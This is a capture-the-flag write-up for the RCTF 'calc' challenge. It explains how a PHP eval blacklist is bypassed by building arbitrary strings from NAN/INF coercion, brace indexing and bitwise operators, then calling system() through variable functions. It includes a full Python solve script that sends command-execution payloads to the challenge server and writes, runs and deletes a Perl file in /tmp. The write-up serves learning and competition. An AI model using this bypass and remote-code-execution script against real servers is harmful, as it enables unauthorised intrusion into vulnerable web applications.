Introduction

Here’s an interesting problem I solved from the recent RCTF. We are given a web form that allows us to input values and operations to a calculator and the results will be printed. For example, the query 1+1 would give us 2. (I didn’t take a screenshot of the normal operation when the competition server was still up, so you would have to use your own imagination). It’s highly likely that the backend is doing some sort of eval to perform this arithmetic operation, so we investigate further.

Enumeration

We see that the endpoint of the POST request containing the arithmetic operation is to /calc.php, so we make a GET request, which recovers the the source code below:

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
    $str = $_GET['num']; 
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/im', $str)) { 
            die("what are you want to do?"); 
        } 
    } 
    @eval('echo '.$str.';'); 
} 
?> 

We see that our parameter num is assigned to $str and passed into eval. This means we can have remote code execution if we bypass the blacklist!

A small aside: How to know if it’s PHP

Of course, we were given full source code recovery for this challenge (I actually didn’t know about this until a teammate told me about it after I completed the challenge). From the execution of the code there are some heuristics that we can use to determine the backend for the code evaluation:

  1. Response Headers. The headers returned in the response might indicate the backend used to evaluate your request. For example, in the challenge, the response had a X-Powered-By header with the value PHP/7.4.6.
  2. Rendering of special floats. In PHP, evaluation 1/0 gives you INF and 0/0 gives you NAN without throwing an exception (but it does show a warning), which I believe is unique to PHP.

Blacklist/WAF bypass - Using just numbers and symbols for ACE

Now comes the interesting part of the challenge. As a lazy hacker I went to look for existing WAF bypasses in PHP and came across this article on bypassing WAF without numbers and letters. While this may seem at first to work, the subset of symbols that we are allowed is much more restricted. For example, we do not have the $ operator so we can’t define new variables, nor can we define arrays (since [ and ] are blocked) or strings (since ' and " are blocked). However, the article does elucidate an interesting fact: if we can construct arbitrary strings, we are done.

Fun function calls via variable functions

But you might be wondering, how do we call functions using just a string? I am glad you asked. I didn’t believe it at first, but you can simply call functions in PHP just by their stringified identifier. You can try this yourself by running the following code snippet.

<?php

function foo() {
    echo "In foo()<br />\n";
}

'foo'();

The output that is returned is In foo()<br />, which means the function foo was called. This is due to a feature in PHP known as variable functions. From the PHP docs:

if a variable name has parentheses appended to it, PHP will look for a function with the same name as whatever the variable evaluates to, and will attempt to execute it … this can be used to implement callbacks, function tables, and so forth.

Note that this function calling convention, like normal PHP functions, is case insensitive, but we won’t be using that fact here.

However, there is a caveat:

Variable functions won’t work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like

A list of language constructs can be found here. A quick glance through the list and we find that our desired function to call (system) is not on the list. This means we are good to go!

Constructing characters

What’s left is actually constructing the characters. The blacklist essentially gives us numeric inputs and a limited subset of symbols.

Baby’s First String

I quickly managed to find a way of constructing a string using the following payload:

(0).(0) // evaluates to '00'

This is allowed because PHP is loosely typed and the string concatenation operator . coerces the type of the operands to be strings, so the result is the string 00. Note that if the parentheses were removed, we would get 0.0 which is a float.

Speaking of floats, I decided to try something interesting. Recall that we previously tried to use special numbers in floats to identify the backend. In this case, we can concatenate two of these special floats together to form a cute string.

(1/0).(1/0) // evaluates to "INFINF"
(0/0).(0/0) // evaluates to "NANNAN" (batman)

So we technically have the strings "NAN", "INF", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", but any combination of these strings won’t give us shell (yet), we have to dig deeper!

Looking for more primitives

I got stuck here for quite a bit and decided to look for all possible operators in PHP. I did browse around and managed to find that ->, =>, {, } and :: are legal operators through extensive web searching (thanks Google!). While writing this article I found a more extensive list of tokens that are used in PHP which would have been a much better resource.

I toyed around with the idea of using -> (which is the T_OBJECT_SEPARATOR used to assign and retrieve values from an object), => (which is the T_DOUBLE_ARROW used to assign values in an array), and :: (which is a scope resolution operator which has a pretty interesting history behind its name) before realizing they won’t work.

Finally, we are left with { and }. These symbols are actually pretty interesting - a quick tl;dr of what happened was that they were introduced to replace [ and ] as array accesses, but later realized it was a bad idea, so they deprecated it and tried to revert the change but then realized that was a bad idea too. Now, it can be used interchangeably and works for string array index access as well, though it does warn that it would be deprecated in newer versions of PHP. That aside, we now have the following string index access primitive:

(1/0).(1/0) // evaluates to "INFINF"
((1/0).(1/0)){0} // evaluates to "I"

So we now have the strings "N", "A", "I", "F", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9". We can also add additional characters like "." from coercing floats to strings and "-" by coercing negative numbers, but we still don’t have the right letters to construct calls to functions that we want, and we still can’t construct arbitrary characters. If only we had some way of changing these characters…

Quick Math with Strings

I continued to play around to see how to change the characters (either by incrementing them or decrementing them like via ++) but without variable declarations this was impossible. I later came across a Web CTF resource that hinted to look at the ~ operator, which is the bitwise not operator. I tried it and lo and behold:

(((0/0).(1)){0}).(~((1).(1/0))) // evaluates to N�

Finally we are getting somewhere! We see that we have constructed some other character that is not in our original list of characters. It seems that bitwise operations like |, &, ^ and ~ are also defined for strings in PHP. Note that we can’t use ^ since it’s banned, and >> and << coerces the type of the operands to be integers. We can now construct printable ASCII, as below.

(((1/0).(1/0)){0})|((1).(1)){0} // evaluates to 'y'

With these bitwise operators, we can easily construct any 7-bit ASCII character if we get the equivalent representation of chr(1), chr(2), chr(4), chr(8), chr(16), chr(32) and chr(64). We do some quick math (aka figuring out how to extract each of these bits from the characters we already have) and we have the following mapping for each of these bits.

mapping = {
    64: "(((1/0).(1)){0})&(((1/0).(1)){2})",
    32: "((0).(0){0})&(((1.5).(0)){1})",
    16: "(~(((1.5).(0)){1}&(((0).(0)){0})))&(0).(0){0}",
    8: "(8).(8){0}&((1/0).(0)){0}",
    4: "(4).(4){0}&((1/0).(0)){2}",
    2: "(2).(2){0}&((1/0).(0)){1}",
    1: "(1).(1){0}&((0/0).(0)){1}"
}

For example, the ASCII letter a which corresponds to the ordinal 97 or 0b1100001 can be constructed as follows:

(1).(1){0}&((0/0).(0)){1} | ((0).(0){0})&(((1.5).(0)){1}) | (((1/0).(1)){0})&(((1/0).(1)){2})  // evaluates to chr(64 | 32 | 1) == 'a'

Now we can form arbitrary strings from arbitrary characters via the . string concatenation operator. Combining with the variable functions trick as above, we can call the equivalent of 'system'('uname -a') to see if we can run arbitrary shell commands. We send it to the server we see that we have achieved arbitrary code execution!

Shell get! Output of uname -a

Enumerating the environment, we find a /readflag binary. We execute it, and we realize that this isn’t the end!

Readflag sadness

Breaking The readflag Puzzle

I didn’t really like the next part of the challenge so much, as you will see why. Using the same script, I exfiltrated the readflag binary out and analyzed it. Long story short, it throws you a math challenge that you have to solve in 1ms. This means that you are supposed to get shell on the system to run a script that solves the problem, but a reverse shell wasn’t possible due to network isolation.

I looked up this online (since CTFs in the east tend to be inspired by previously released challenges) and found the exact same readflag binary and with solve scripts in various languages described. TL;DR my solution was to write one of the solve scripts to /tmp and execute it to get the flag.

In writing the script to a file, I had to break it up into short chunks per line since the encoding for each byte was fairly large. It is worth noting that other teams found interesting ways of bypassing the URL parameter length limit (which I found to be around 8000-ish bytes), and the ROIS team’s writeup details interesting alternative solutions to this problem.

Balsn also has a bunch of tricks that they use to solve the readflag binary, as noted here.

Final Script

The final solve scripts are provided below.

solve.py

#!/usr/bin/env python

import requests
import sys
import pipes

url='http://124.156.140.90:8081/calc.php?'

mapping = {
    64: "(((1/0).(1)){0})&(((1/0).(1)){2})",
    48: '(0).(0){0}',
    32: "((0).(0){0})&(((1.5).(0)){1})",
    16: "(~(((1.5).(0)){1}&(((0).(0)){0})))&(0).(0){0}",
    8: "(8).(8){0}&((1/0).(0)){0}",
    4: "(4).(4){0}&((1/0).(0)){2}",
    2: "(2).(2){0}&((1/0).(0)){1}",
    1: "(1).(1){0}&((0/0).(0)){1}"
}

idxs = [64, 48, 32, 16, 8, 4, 2, 1]

def construct_char(c):
    val = ord(c)

    payload = "("
    for idx in idxs:
        if (val >= idx):
            val -= idx
            payload += mapping[idx]
            if (val != 0):
                payload +='|'

    assert val == 0
    payload += ")"

    return payload

def construct_string(s):
    payload = "("
    for i, c in enumerate(s):
        payload += construct_char(c)
        if (i != len(s) - 1):
            payload += "."

    payload += ")"
    return payload

def call_fn(f, a):
    fn_s = construct_string(f)
    fn_a = construct_string(a)
    return fn_s + "(" + fn_a + ")"

### Actually solve for flag
# write the evil file to solves the puzzle
f = open('solve.perl', 'rt')
solver = f.read().split('\n')
f.close()

for s in solver:
    d = call_fn("system", """echo %s>>/tmp/b""" % pipes.quote(s))
    params = {'num': d }
    r = requests.get(url, params=params)
    print r.text

d = call_fn("system", """cat /tmp/b""")
params = {'num': d }
r = requests.get(url, params=params)
print r.text

d = call_fn("system", """perl /tmp/b""")
params = {'num': d }
r = requests.get(url, params=params)
print r.text

d = call_fn("system", "rm /tmp/b")
params = {'num': d }
r = requests.get(url, params=params)

### Uncomment to run arbitrary commands
#FUNCTION = "system"
#ARG = sys.argv[1]

#d = call_fn(FUNCTION, ARG)
#print len(d)
#print d

#params = {'num': d }
#r = requests.get(url, params=params)
#print r.text

solve.perl

use 
IPC::Open3;
my $pid = 
open3( 
\*CHLD_IN, 
\*CHLD_OUT, 
\*CHLD_ERR, 
"/readflag"  
);
my $r;
$r=
<CHLD_OUT>;
print "$r";
$r=
<CHLD_OUT>;
print "$r";
$r=eval 
"$r";
print 
"$r\\n";
print 
CHLD_IN 
"$r\\n";
$r=
<CHLD_OUT>;
print "$r";
$r=
<CHLD_OUT>;
print "$r";

Relevant Resources:

Hack on!